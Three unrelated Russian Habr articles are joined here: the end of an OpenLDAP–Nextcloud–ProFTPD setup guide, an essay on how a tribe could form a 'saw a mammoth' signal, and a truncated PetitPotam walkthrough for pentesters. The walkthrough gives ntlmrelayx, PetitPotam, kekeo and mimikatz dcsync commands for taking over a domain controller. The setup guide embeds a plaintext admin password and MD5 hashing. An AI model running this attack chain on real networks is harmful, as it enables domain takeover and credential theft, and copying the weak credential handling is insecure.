корневого пользователя операционной системы. **Параметр** `–H ldapi:///`задаёт адрес LDAP сервера. В данном случае он пустой , т.к. я выполняю команду локально. Если вы будете выполнять команду не локально, то нужно будет использовать ldap://ip\_адрес сервера. **Параметр** `-f test.ldif` задаёт имя файлаldif**.** После успешного добавления набора схемы мы можем создавать пользователей в OpenLDAP с квотой Nextcloud и квотой ProFTPD**.** Создавать пользователей в OpenLDAP  тоже удобнее через LDIF файл. Вот пример **user.LDIF** файла создания пользователя с квотой Nextcloud и квотой ftp: ``` dn: cn=Vasya,dc=example,dc=com objectClass: top objectClass: account objectClass: posixAccount objectClass: shadowAccount objectClass: FtpNext cn: Vasya uid: Vasya ftpQuota: false,hard,10485760,0,0,0,0,0 NextQuota: 3GB uidNumber: 8345 gidNumber: 8345 homeDirectory: /mnt/ncdata/Vasya userPassword: {MD5}5EIJWlXNgJp99AMqzuaYSw== loginShell: /bin/bash ``` Пароль пользователя генерируется командой `slappasswd –h {md5} –s passwd` Где параметр `–h {md5}` говорит о том, что надо использовать алгоритм шифрования md5. Параметром `–s passwd` задаётся пароль, который надо зашифровать. Именно в зашифрованном виде пароль вводится в LDIF файл. Добавляется пользователь от имени администратора базы LDAP командой: `LDAP add –D “cn=admin,dc=example,dc=com” –w XLD220190bac –f user.ldif` Также создадим группу в LDAP**,** куда буду входить наши создаваемые пользователи FTPи Nextcloud. Создадим LDIF файл **NextFtp.ldif.** ``` dn: cn=NextFtp,ou=Group,dc=example,dc=com objectClass: top objectClass: posixGroup cn: NextFtp gidNumber: 10678 ``` И добавим группу командой `LDAP add –D “cn=admin,dc=example,dc=com” –w XLD220190bac –f NextFtp.ldif` Затем внесём в эту группу пользователя **Vasya,** которого создали выше. Для этого создадим LDIF файл modgrnext.ldif ``` dn: cn=NextFtp,ou=Group,dc=example,dc=com changetype: modify add: memberuid memberuid: Vasya ``` `LDAP add –D “cn=admin,dc=example,dc=com” –w XLD220190bac –f modgrnext.ldif` Рассмотрим теперь облачное хранилище данных Nextcloud. Для возможности использовать аутентификацию LDAP сервера необходимо установить и включить соответствующий модуль. Заходим в облако Nextcloud под учёткой администратора. Заходим в пункт **Приложения** в учётной записи администратора. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/1ac/e23/b4d/1ace23b4d1ad286d42055cba91a3d5b8.png)Нажимаем кнопку **Включить** напротив надписи **LDAP user and group backend** ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/ab8/420/811/ab8420811894ff24ec907c86650da553.png)Система просит пароль администратора. Вводим, нажимаем **Подтвердить**: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/dd1/d29/1e3/dd1d291e33a7173c255fa91103ac9477.png)Затем нажимаем **Настройки** в аккаунте администратора: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/597/b93/afc/597b93afcd403287f6ca2eb23da9e909.png)Переходим в **Интеграция LDAP / AD:** ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/ffd/480/fca/ffd480fca47508f2563f0eb241057bea.png)В поле сервер вводим ip-адрес LDAP сервера через **LDAP ://**. Порт по умолчанию **389**. Вводим учётные данные администратора LDAP сервера. Указываем базу, где искать пользователей. После ввода настроек нажимаем **Сохранить учётные данные**. Затем нажимаем **Проверить базу поиска DN.** Должна появиться надпись **Конфигурация в порядке**, означающая, что всё настроено правильно и связь с сервером LDAP есть. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/bb9/d7f/712/bb9d7f71206f91c1b5ce786cf2cbd7db.png)Выбираем указанные ниже фильтры для выборки пользователей, которые имеют объектные классы **posixAccount** и **FtpNext**, т.е. принадлежат Nextcloud. Нажимаем **Продолжить**. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/771/560/d74/771560d74306fc15af8c1ad0726376af.png)Здесь оставляем всё без изменений и нажимаем **Продолжить**. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/7ec/f48/e67/7ecf48e6712ec70319d74c1f7ef5d753.png)Теперьнам нужно сделать так, чтобы Nextcloud брал квоты пользователей также из LDAP. Для этого нажимаем кнопку **Дополнительно**. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/fc6/5cf/5c6/fc65cf5c62b8a7b777a8b1cb510d3760.png)Раскрываем настройки **Специальные атрибуты**. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/1fe/7e4/8a4/1fe7e48a4357ce5685c884ab37c4f54c.png)Вводим в поле квоты атрибут из LDAP, который отвечает за квоту в Nextcloud, созданный нами ранее. Вводим квоту по умолчанию, если поля квота не обнаружится. Правило наименования домашнего каталога также берём из LDAP атрибута homeDirectory (т.к. наименование домашних каталогов пользователей в Nextcloud по умолчанию некрасивое). ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/c5f/d5e/341/c5fd5e34159ea9d49346271689bf1269.png)Нажимаем **Проверить конфигурацию**. Если всё настроено правильно, появится окно о том, что конфигурация проверена успешно. Нажимаем на настройку аккаунта и выбираем **Пользователи**. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/253/a19/61c/253a1961c5f5bdb5c485cf1f60861199.png)Пользователь **Vasya,** которого мы создали ранее, появился в Nextcloud. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/644/04c/d92/64404cd92ff2d7ca5671f36d856e4382.png)Теперь мы можем входить под этим пользователем в облако Nextcloud. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/646/3d2/887/6463d2887edfce4d07cfacbb5a0083f2.png)Заходим в настройки аккаунта Vasya: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/727/f9d/472/727f9d4729c6ec3d1204a52a6f4024c4.png)И видим, что применилась квота, которую мы вводили при создании пользователя. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/f7c/d10/d64/f7cd10d649ce3db2c4d8ec7ef2092e57.png)Значит, наша конфигурация работает. ### Настройка ProFTPD сервера На сервере нужно установить **LDAP -client libnss-LDAP** командой `apt-get install libnss-LDAP` Вводим ip-адресOpenLDAP сервера: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/24b/876/954/24b876954f8a6011d2398476e13dbb77.png)Имя базы, в которой будет осуществлён поиск: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/027/08f/41e/02708f41edffaaf9c69bc9f760eec650.png)ВерсиюLDAP надо выбрать **3:** ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/040/db3/ee2/040db3ee28bf1ec212228e2978a2e6db.png)Далее система предложит согласиться на ввод админских данныхLDAP сервера, соглашаемся: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/391/4c5/6c9/3914c56c9659606b80e38fc9121a167c.png)На ввод логина для базы данных отказываемся (это не админская учёткаOpenLDAP сервера): ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/518/560/a30/518560a30f307aa2cdeb2fda06d50e1f.png)Вводим учётные данные администратораOpenLDAP сервера и нажимаем **Enter**: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/c7c/234/a9b/c7c234a9b5bd988d3e948e18d5da5b6d.png)Далее вас попросят ввести пароль администратора. LDAP клиент настроен. Теперь необходимо переключить аутентификацию в Debian через LDAP клиента. Для этого надо сделать настройки в файле **/etc/nsswitch.conf.** Например, так: ``` passwd: files systemd LDAP group: files systemd LDAP shadow: files LDAP gshadow: files LDAP hosts: files dns networks: files protocols: db files services: db files ethers: db files rpc: db files netgroup: nis ``` Далее командой `getent passwd` проверим, работает ли у нас аутентификация в ОС Debian через LDAP сервер. Видим, что пользователь Vasya возращается на запрос к Openldap серверу. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/36a/a62/df8/36aa62df8723a598f9407236c2c28a5b.png)Для использования аутентификации LDAP на profpd сервере необходимо установить модуль LDAP командой `apt-get install ProFTPD-mod-LDAP`. В файле **/etc/ProFTPD/modules.conf** необходимо раскомментировать две строчки для загрузки LDAP модулей. ``` LoadModule mod_LDAP .c LoadModule mod_quotatab_LDAP .c ``` * Модуль **mod\_LDAP .c** нужен для аутентификации ProFTPD через LDAP. * Модуль **mod\_quotatab\_LDAP .c** нужен для поиска квот ProFTPD на сервере LDAP. Затем в конфигурационном файле **/etc/ProFTPD/ProFTPD.conf** прописываем следующие настройки: ``` QuotaEngine on QuotaLock /tmp/quota QuotaDirectoryTally on QuotaDisplayUnits Mb QuotaLog "/var/log/ProFTPD/quota.log" QuotaShowQuotas on QuotaTallyTable file:/var/log/ftpquota.tally ``` * Директива **QuotaEngine on** включает поддержку квот. * Директива **QuotaLock** задаёт имя файла блокировки синхронизации. * Директива **QuotaDisplayUnits Mb** задаёт показ квот в **Mb**. * Директива **QuotaShowQuotas on** задаёт показывание квоты по запросу **SITE QUOTA**. * Директива **QuotaLog "/var/log/ProFTPD/quota.log"** задаёт файл логирования использования квот. * Директива **QuotaDirectoryTally** настраивает модуль **mod\_quotatab** для учёта операций с каталогами (например, создание каталога, удаление каталога) при подсчёте. * Директива **QuotaTallyTable file:/var/log/ftpquota.tally** задаёт файл таблицы подсчёта для квоты. и ещё вот эти настройки: ``` LDAP Server 192.168.2.32 LDAP BindDN "cn=admin,dc=example,dc=com" "XLD220190bac" LDAP Users "dc=example,dc=com" "(&(uid=%v)(objectclass=posixAccount)(objectclass=FtpNext))" LDAP DefaultGID 106 LDAP DefaultUID 65534 LDAP ForceDefaultGID off LDAP ForceDefaultUID off LDAP DefaultQuota false,hard,10485760,0,0,0,0,0 QuotaLimitTable LDAP : ``` * **LDAP Server** задаёт ip-адрес сервера LDAP. * **LDAP Users** задаёт имя базы данных в LDAP сервере, где находятся пользователи. * **LDAP BindDN** задаёт учётную запись администратора базы данных LDAP. * **LDAP DefaultGID** задаёт gid номер по умолчанию. * **LDAP DefaultUID** задаёт uid номер по умолчанию. * **LDAP DefaultUID** задаёт квоту ProFTPD по умолчанию. * **QuotaLimitTable LDAP** указывает, что квоту нужно брать из LDAP сервера. Также здесь прописана директива `DefaultRoot ~` Она нужна, чтобы пользователи не поднимались выше своих домашних директорий. После настройки необходимые файлы создаются командой: `ftpquota --create-table --type=tally --units=Mb --table-path=/var/log/ftpquota.tally` Затем перезапускается FTP-сервер `/etc/init.d/ProFTPD restart`. Создадим директорию **ncdata** в директории **/mnt**. Назначим права на директорию **ncdata** командой: `chown –R root:NextFTP /mnt/ncdata` Выполним команду для смены пользователя и создания домашней директории пользователя на ProFTPD сервере: `su - Vasya` После этого можно подключиться и проверить FTP квоты, назначенные нами ранее. Теперь подключимся к серверу ProFTPD и проверим, применилась ли квота: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/a20/379/24f/a2037924f0c5b34f7d1c2e95fed63995.png)Зашли на FTP и квота применилась. Таким методом можно использовать OpenLDAP сервер в качестве центра аутентификации для Nextcloud и ProFTPD. Спасибо за внимание! --- **Что ещё интересного есть в блоге Cloud4Y** → [Вирусу Микеланджело — 30 лет](https://habr.com/ru/company/cloud4y/blog/654937/) → [Сделайте Linux похожим на Windows 95](https://habr.com/ru/company/cloud4y/blog/653949/) → [Как не позволить техническому долгу одолеть вас](https://habr.com/ru/company/cloud4y/blog/652895/) → [WD-40: средство, которое может почти всё](https://habr.com/ru/company/cloud4y/blog/595493/) → [30 лучших Python-проектов на GitHub на начало 2022 года](https://habr.com/ru/company/cloud4y/blog/650357/) Подписывайтесь на наш [Telegram](https://t.me/cloud4y)-канал, чтобы не пропустить очередную статью. Пишем только по делу.
https://habr.com/ru/post/656651/
null
ru
null
# Как в языке сформировать существительное? Сигнал («Видел мамонта») Попробуем сформировать описание процесса появления новой звуковой единицы в естественном языке. Для этого рассмотрим отдельно живущее племя. И построим цепочку ситуаций, которую необходимо совместно пережить нескольким особям этого племени, приводящую к формированию в языке нового звука. Звук, который мы попробуем сформировать, будет тождественен фразе: "Видел мамонта". ![мамонт](https://habrastorage.org/r/w780q1/getpro/habr/post_images/d20/4c1/593/d204c1593fd271932cba0cc5df8e1616.jpg) Введение -------- Для решения поставленной задачи, рассмотрим следующее пространство: * племя, обитающее в пещере, обладающее зачатками звуковой сигнализации событий, * взрослые особи племени обеспечивают пропитание себе и детским особям, * детские особи не выходят из пещеры, * для поиска еды взрослые особи выходят из пещеры и обследуют территорию вокруг неё, * неживые мамонты иногда обнаруживаются недалеко от пещеры, * неживой мамонт является большим запасом еды для всего племени. В этой ситуации целесообразно следующее поведение особи при обнаружении неживого мамонта вдали от пещеры: * поесть, * оторвать кусок мяса и отнести его детским особям в пещере, * при необходимости вернуться к мамонту и повторить первые два действия. Для других особей племени целесообразно узнать, где находится мамонт. Для этого они могут пойти вместе с нашедшей особью к месту обнаружения, но прежде им необходимо знать, что следование за этой особью будет полезно. То есть будет полезно, если особь нашедшая мамонта скажет другим особям фразу: "Видел мамонта". Если записать формально, то сформирует **сигнал**("Видел мамонта"). В тоже время особь, получившая **сигнал**("Видел мамонта"), должна знать об этом сигнале и выполнить сложное поведение. То есть должна проследовать дальше за нашедшей особью до места находки. Формально запишем: **действие**("Иди за соплеменником до мамонта"). Этот полезный алгоритм поведения, который при обнаружении **сигнала** выполняет за этим упорядоченный набор **действий**, назовем **цепочкой** и запишем в виде: ``` цепочка("Идти за соплеменником, который сказал, что видел мамонта") { сигнал("Видел мамонта") --> действие("Иди за соплеменником до мамонта") } ``` Для того чтобы продолжить, необходим еще один термин, обозначающий алгоритм, доступный особи, который позволяет ей однозначно распознать конкретную ситуацию. Например будет необходим способ позволяющий определить особью, что большой объект, покрытый мехом и лежащий неподвижно, это неживой мамонт. Этот алгоритм формально обозначим так: **символ**("Неживой мамонт"). Термин *специализация* для указанных далее объектов обозначает процесс подобный эволюционной специализации клеток в живом организме. Вроде бы все необходимые обозначения приведены. Если в статье далее встретятся непонятные, с радостью объясню их в комментариях. Многие из используемых далее **цепочек** объясняются [пищевым поисковым поведением](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5#%D0%9F%D0%B8%D1%89%D0%B5%D0%B2%D0%BE%D0%B5_%D0%BF%D0%BE%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5), основывающимся на **символе**("Голод"). Способ ------ Способ заключается в поиске последовательности совместно пережитых соплеменниками ситуаций, сформировавших требуемый **сигнал**("видел мамонта"). Представим **цепочки**, доступные особи, узлами ориентированного графа. Соединим эти узлы, показывая зависимость появления каждой **цепочки** от уже имевшихся, на момент этого появления. Тогда последовательность ситуаций, которую требуется найти, определяет путь в этом графе. Путь покажет порядок формирования **цепочек**, потребовавшихся для появления **сигнала**. Построим граф формирования **цепочек**. Поиск будем вести по графу с двух сторон: * в направлении от тривиальных **цепочек** (то есть от самых простых, которые имеются изначально), * в направлении от целевой **цепочки**. ### Направление от тривиальных цепочек Приведем далее **цепочки**, упорядоченные по порядку формирования начиная с тривиальных. Тривиальными **цепочками** станет группа **цепочек**, объясняемых [пищевым поисковым поведением](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5#%D0%9F%D0%B8%D1%89%D0%B5%D0%B2%D0%BE%D0%B5_%D0%BF%D0%BE%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5): ``` 1.1 цепочка("Еду можно есть") { символ("Пища") --> символ("Есть пищу") // !!! полезно } ``` ``` 1.2 цепочка("Когда испытываешь голод, ищи пищу и ешь её") { символ("Голод") --> действие("Искать еду") [ цепочка("Еду можно есть") || действие("Передвигаться в пространстве") ] } ``` В **цепочке**<1.2> использовано новое обозначение, показывающее, что **действие** выполняется с независимым использованием указанных в квадратных скобках: **цепочки**("Еду нужно есть") и другого **действия**("Передвигаться в пространстве"). ``` 1.3 цепочка("Следуй за едой, которая движется") { символ("Передвигающаяся еда") --> действие("Двигайся вслед за едой") } ``` *Специализацией* **цепочки**<1.1> становится следующая **цепочка**: ``` 2.1 цепочка("Поедать большую добычу") { символ("Большой объект из мяса") --> действие("Оторвать кусок мяса") действие("Проглотить кусок мяса") } ``` Как *специализация* **символа**("Большой объект из мяса") появляется **символ**("Неживой мамонт"). Добавляется новая *специализация* **цепочки**<2.1>("Поедать большую добычу") в виде **цепочки**: ``` 2.2 цепочка("Поедать неживого мамонта") { символ("Неживого мамонт") --> действие("Оторвать кусок мяса") действие("Поедать кусок мяса") } ``` Далее приведу **цепочки**, целиком описанные поясняющей фразой, не раскрывая их внутреннее устройство. ``` 3.1 цепочка("Пищу, оставленную другим наевшимся организмом, можно доесть") ``` ``` 3.2 цепочка("Пищу, потерянную организмом, можно съесть") ``` ``` 3.3 цепочка("Пища, которую несет соплеменник-мама, мне-ребенку можно будет съесть.") ``` *Специализацией* **цепочки**<1.3>("Следуй за едой, которая движется") становится следующая **цепочка**: ``` 4 цепочка("Следуй за организмом, несущим еду") { символ("Еда у организма") --> действие("Следовать за организмом") } ``` Далее приведена нетривиальная **цепочка**, описание формирования которой следует разобрать в отдельной статье: ``` 5 цепочка("Иди в обратном направлении по следу соплеменника несущего кусок еды") { символ("Соплеменник несет кусок еды оставляя след") --> действие("Идти в обратную сторону по следу") } ``` Следующие **цепочки** формируют [родительское поведение](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5#%D0%A0%D0%BE%D0%B4%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D1%81%D0%BA%D0%BE%D0%B5_%D0%BF%D0%BE%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5). При этом подчеркнем, что "Пещера" — это место, где взращивается потомство (детские особи племени). ``` 6 цепочка("Отнести еду потомству") { символ("Еда далеко от пещеры") --> действие("Перенос еды в пещеру") действие("Кормить в пещере потомство") } ``` Далее приведем *специализацию* **цепочки**("Отнести еду потомству"): ``` 7 цепочка("Перенести неживого мамонта в пещеру-дом потомству") { символ("Неживой мамонт далеко от пещеры-дома") --> действие("Перенести в пещеру по кускам") [ цепочка("Разделить большое животное") { символ("Большой кусок мяса") --> действие("Оторвать маленький кусок мяса") действие("Отложить маленький кусок мяса") } || цепочка("Перенести все маленькие куски в пещеру") { символ("Маленький кусок") --> действие("Перенести маленький кусок в пещеру") } ] действие("Кормить в пещере потомство") } ``` Не все из этих **цепочек** могут понадобится в поиске пути графа, но чем больше их будет и чем больше между ними взаимосвязей тем полезнее. ### Формируем граф в направлении от цепочек, использующих сигнал **Цепочки** использования **сигнала**("Видел мамонта"): ``` 20 цепочка("Иди за соплеменником, который говорит, что видел мамонта") { символ("Прием сигнала", сигнал("видел мамонта")) --> действие("Следовать за передавшим сигнал") } ``` ``` 8 цепочка("Иди за соплеменником, который тащит часть мамонта") { символ("Соплеменник тащит часть мамонта") --> действие("Следовать за этим соплеменником") } ``` ``` 9 цепочка("Иди по следу, оставляемому волочащейся частью мамонта, переносимой соплеменником") { символ("Соплеменник оставляет след, таща часть мамонта") --> действие("Идти по следу в обратном направлении") } ``` **Цепочка**<9>("Иди по следу, оставляемому волочащейся частью мамонта, переносимой соплеменником")- это *специализация* **цепочки**<5>("Иди в обратном направлении по следу соплеменника несущего кусок еды"). ![graph](https://habrastorage.org/r/w1560/getpro/habr/post_images/6f5/b12/fd7/6f5b12fd7f5101253be534f719e25737.png) Нарисовано в [GraphViz](https://graphviz.gitlab.io/about/) ### Поиск ситуаций, объединяющих два "соприкоснувшихся" графа Необходимо найти простые ситуации, обеспечившие появления **цепочки**("Иди за соплеменником, который говорит, что видел мамонта") Для этого потребуется следующее уточнения к объектам пространства: * Племя — множество организмов с *коммуникацией* * Два и более взрослых организма, * Один и более организмов-детенышей, находящиеся в пещере-доме, Возможная последовательность событий: Взрослый организм(<1>): * нашел неживого мамонта в месте *А* далеко от пещеры-дома, * отрывает кусок мяса, ест сам, * использует **цепочку**("Перенос неживого мамонта в пещеру-дом"): + отрывает большой кусок мяса, + тащит волоком этот кусок в пещеру, оставляя след, + кормит детеныша, + повторно идет обратно к месту *А*, проверяет осталось ли там мясо. Взрослый организм(<2>): * находясь в этот момент в пещере, видит, как организм(<1>) тащит мясо, * затем использует **цепочку**("Иди в обратном направлении по следу соплеменника, несущего еду"). В момент встречи в пещере у организма(<2>) уже сформированы **цепочки** необходимые для *полезного* **действия** в сложившейся ситуации. Единственным добавлением в этой ситуации становится новый **символ**("соплеменник принес издалека мясо мамонта") в *детекторной* подсистеме организма(<2>). И этот **символ** закрепляется *полезностью* найденной еды. И далее с этим **символом** могут формироваться другие полезные **цепочки**. В ситуации совместного передвижения соплеменников к месту *А* по оставленному следу сначала используется **цепочка**<9>("Иди по следу оставляемому волочащейся частью мамонта, переносимой соплеменником") Параллельно с ней формируется вторая, подкрепляемая едой **цепочка**: ``` 10 Цепочка("Идем вместе с соплеменником за мясом мамонта") { символ("Соплеменник принес издалека мясо мамонта") --> действие("Иду рядом с соплеменником") действие("Ем мясо мамонта") } ``` В дальнейшем при отсутствии следа (например, фруктовое дерево вместо мамонта) **цепочка**("Идти по следу за мясом мамонта") уже работать не может. Но если у организмов есть **цепочка**("Вернуться в важное место по запомненному маршруту"), то её использует организм(<1>), нашедший мамонта, чтобы вернуться к месту *А*. А организм(<2>), получивший **сигнал**("видел мамонта"), начинает использовать **цепочку**("Идем вместе с соплеменником за мясом мамонта"). Осталось самое интересное: отделение **сигнала**("видел мамонта") от куска мяса. И это совсем просто. Если в момент встречи в пещере организм(<1>), нашедший мамонта, генерирует уникальный **сигнал**, который *специализирован* от **сигнала**, отмечающего важное событие в процессе *обучения*. То этот **сигнал** становится для организма(<2>) **сигналом**("видел мамонта"). Этот сигнал закрепляется, и в дальнейшем на его основе формируются новые параллельные **цепочки**: ``` 11 цепочка("Если видел мамонта перенеси в пещеру и сообщи соплеменнику, что видел мамонта") { символ("Видел мамонта") --> [ цепочка("Сообщи соплеменнику, что видел мамонта") { символ("Встреча соплеменника") --> действие("Генерация сигнала", сигнал("видел мамонта")) } цепочка("Перенести неживого мамонта в пещеру-дом потомству") ] } ``` ``` цепочка("Иди за соплеменником, который говорит, что видел мамонта") { символ("Прием сигнала", сигнал("видел мамонта")) --> действие("Иду рядом с соплеменником") действие("Ем мясо мамонта") } ``` Заключение ---------- В результате проделанной работы, мы получили пошаговую детализацию развития системы коммуникации у особей одного племени. Это развитие происходит у особей племени в совместно переживаемых ситуациях. Рассмотренное развитие обеспечило формирование целевой **цепочки** и **сигнала** на основе уже существующих **цепочек**. Разработанная модель и способ анализа процесса формирования **цепочек** и **сигналов** в популяции организмов дает возможность провести изучение и других механизмов развития языка и примериться к анализу работы сознания. Возвращаясь к заголовку, соглашусь, что есть неувязка слова "существительное" и фразы "Видел мамонта". Возможно заголовок следует изменить. В текущий вариант заголовка вкладывался следующий смысл: слово "существительное" должно подчеркнуть тот факт, что в *коммуникации* организм рассказывает о **существующем**, но не видимом в текущий момент объекте своего пространства. Если это Вас не затруднит, и будут обнаружены ошибки использования терминов, ошибки формулировок и стиля изложения, сообщите мне о них пожалуйста на [Issues (bitbucket.org)](https://bitbucket.org/aibor/ai_borisov_cit/issues/6/2). Обязуюсь их исправлять по наличию времени и сил. Для работы над этой статьей, к сожалению, могу выделить только ночное время, поэтому заранее извиняюсь за запаздывания исправлений и ответов на комментарии. С уважением. Ссылки ------ * [Общая теория алгоритмов wiki](https://gitlab.com/aiborisov84/ai_borisov_CIT/-/wikis/home) * [Предыдущая статья серии](https://habr.com/ru/post/446066/) Отзывы ------ В процессе работы над рассмотренной в статье темой очень не хватает сторонних отзывов: критических, оценивающих — с опытом, мыслями и особенными примерами по тематике. Очень тяжело работать наедине с собой и, наоборот — эффективно использовать в этом **коммуникацию**. Сейчас (в ожидании ваших комментариев) пребываю в состоянии "невесомости" и совсем не знаю в какую сторону оттолкнуться. Заранее спасибо. С уважением.
https://habr.com/ru/post/446834/
null
ru
null
# Захват контроллера домена с помощью атаки PetitPotam ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/488/32a/39a/48832a39a2429f88559e78f26cf994f5.png)В этой статье я расскажу про атаку PetitPotam, которая позволяет при определенных условиях захватить контроллер домена всего за несколько действий. Атака основана на том, что можно заставить контроллер домена аутентифицироваться на вашем хосте, получить его хэш и ретранслировать его в службу Active Directory Certificate Services для повышения привилегий. Статья предназначена для пентестеров и тех, кто хочет узнать об актуальных атаках на Active Directory. О PetitPotam ------------ Данная уязвимость была открыта исследователем безопасности Лионелем Жилль (Gilles Lionel) 18-го июля 2021 г. Атака PetitPotam позволяет контроллеру домена аутентифицироваться на любом удаленном сервере. Это достигается за счет использования метода EfsRpcOpenFileRaw протокола MS-EFSRPC, который заставляет учетную запись компьютера аутентифицироваться в другой системе. Протокол EFSRPC используется для операций обслуживания и управления зашифрованными данными, которые хранятся удаленно и доступны по сети. C помощью PetitPotam можно заставить контроллер домена инициировать процесс аутентификации на сервере, который находится под контролем злоумышленника, и поделиться с ним значением NTLM-хэша. С помощью полученных данных злоумышленник может провести атаку NTLM-relay. Коротко о NTLM-relayСуть атаки NTLM-relay сводится к тому, чтобы вмешаться в процесс аутентификации по протоколу NTLM и получить доступ к стороннему ресурсу с привилегиями атакуемого пользователя, передав ему NTLM-хэш пользователя или сервиса, который пытается аутентифицироваться. Атака может быть реализована в отношении любого протокола, поддерживающего NTLM-аутентификацию (SMB, HTTP, LDAP и т.д.). <https://en.hackndo.com/ntlm-relay/#authentication-vs-session> Используя атаку PetitPotam, атакующий может повысить свои привилегии до администратора домена. Для успешного проведения атаки необходимо, чтобы: 1. У атакующего был доступ к внутренней сети 2. В Active Directory Certificate Services (AD CS) была активирована опция Web Enrollment Служба AD CS может быть установлена в качестве роли на контроллере домена (Domain Controller), либо на отдельном сервере, который входит в этот домен. Таким образом злоумышленник ретранслирует NTLM-хэш контроллера домена в службу Web Enrollment AD CS (Active Directory Certificate Services) и запрашивает сертификат от имени контроллера домена. Затем этот сертификат используется для запроса TGT (Ticket Granting Ticket). Коротко о TGTПосле прохождения успешной аутентификации пользователем, центр распределения ключей выдает первичное удостоверение для доступа к сетевым ресурсам — Ticket Granting Ticket. Если данный билет подписать доменной учетной записью Kerberos (krbtgt), то билет будет "золотым" (Golden Ticket), что позволит пользователю аутентифицироваться на любом сервере в этом домене. Далее мы рассмотрим алгоритм действий для атаки. Схема атаки ----------- > Атака была протестирована на Windows Server 2019. Версия ОС 10.0.17763 > > 1. Запустим ntlmrelayx, чтобы ретранслировать аутентификационные данные контроллера домена в AD CS 2. Запустим PetitPotam, чтобы инициировать NTLM-аутентификацию контроллера домена c подконтрольным атакующему сервером (ntlmrelayx) 3. Получим сертификат PKCS12 в base64 формате 4. Импортируем сертификат в kekeo (для запроса TGT). 5. Запустим mimikatz для дампа SAM секретов для выбранного пользователя 6. Запустим атаку Pass-the-hash Для демонстрации атаки была развернута следующая инфраструктура: * 192.168.0.123 - AD CS (Windows Server 2019) * 192.168.0.122 - Контроллер домена (Windows Server 2019) * 192.168.0.124 - NTLM-listener (Kali linux) ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/a71/63b/711/a7163b711b1727a50e28ac59921bd70e.png)Шаг 1. Запуск ntlmrelayx ------------------------ Подготовка ``` git clone https://github.com/ExAndroidDev/impacket.git sudo pip3 uninstall impacket sudo pip uninstall impacket sudo pip3 install -r requirements.txt sudo python3 setup.py install ``` ``` sudo python3 ntlmrelayx.py -debug -smb2support --target http://192.168.0.123/certsrv/certfnsh.asp --adcs --template KerberosAuthentication ``` Чтобы ntlmrelayx ретранслировал NTLM-хэш контроллера домена в AD CS, используем шаблон KerberosAuthentication, но также можно использовать шаблон DomainControllers. ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/9ab/758/cc9/9ab758cc997a9394f61d1f874c8820b1.jpeg)Если перейти на <https://192.168.0.123/certsrv/certfnsh.asp>, то увидим форму аутентификации. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/79c/6f5/3be/79c6f53becebd84cfc51de1391bc058c.png)Шаг 2. PetiPotam ---------------- Подготовка ``` python3 Petitpotam.py 192.168.0.124 192.168.0.122 ``` Пока ntlmrelayx находится в ожидании соединений, инициируем с помощью PetitPotam NTLM аутентификацию контроллера домена cподконтрольным атакующему сервером для последующей ретрансляцией NTLM-хэша в AD CS. ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/f83/796/144/f837961448bcfa11984938a0e063a505.jpeg)Шаг 3. Сертификат PKCS12 ------------------------ На машине с запущенным ntlmrelayx получаем сертификат PKCS12 в base64, который зарегистрирован в AD CS от имени контроллера домена. ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/944/7a6/b96/9447a6b96d0f77a860ad3aa0b3d15af5.jpeg)Этот сертификат можно использовать для получения TGT в службе аутентификации Kerberos. Шаг 4. Import PKCS12 to kekeo ----------------------------- Подготовка ``` curl [https://github.com/gentilkiwi/kekeo/releases/download/2.2.0-20210723/kekeo.zip](https://github.com/gentilkiwi/kekeo/releases/download/2.2.0-20210723/kekeo.zip) -o kekeo.zip tar -xf .\kekeo.zip ``` Данный сертификат импортируем в kekeo. ``` .\kekeo.exe base64 /input:on tgt::ask /pfx: /user:<указать юзера из шага 3> /domain:<название домена> /ptt ``` ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/996/0c8/576/9960c857697bc4506624a11e5ff718fa.jpg)Шаг 5. Mimikatz --------------- Подготовка ``` curl [https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210724/mimikatz_trunk.zip](https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210724/mimikatz_trunk.zip) -o mimikatz.zip tar -xf mimikatz.zip ``` ``` .\mimikatz.exe lsadump::dcsync /domain:<название домена> /user:<укажите любого пользователя> ``` Теперь у нас есть TGT, который мы 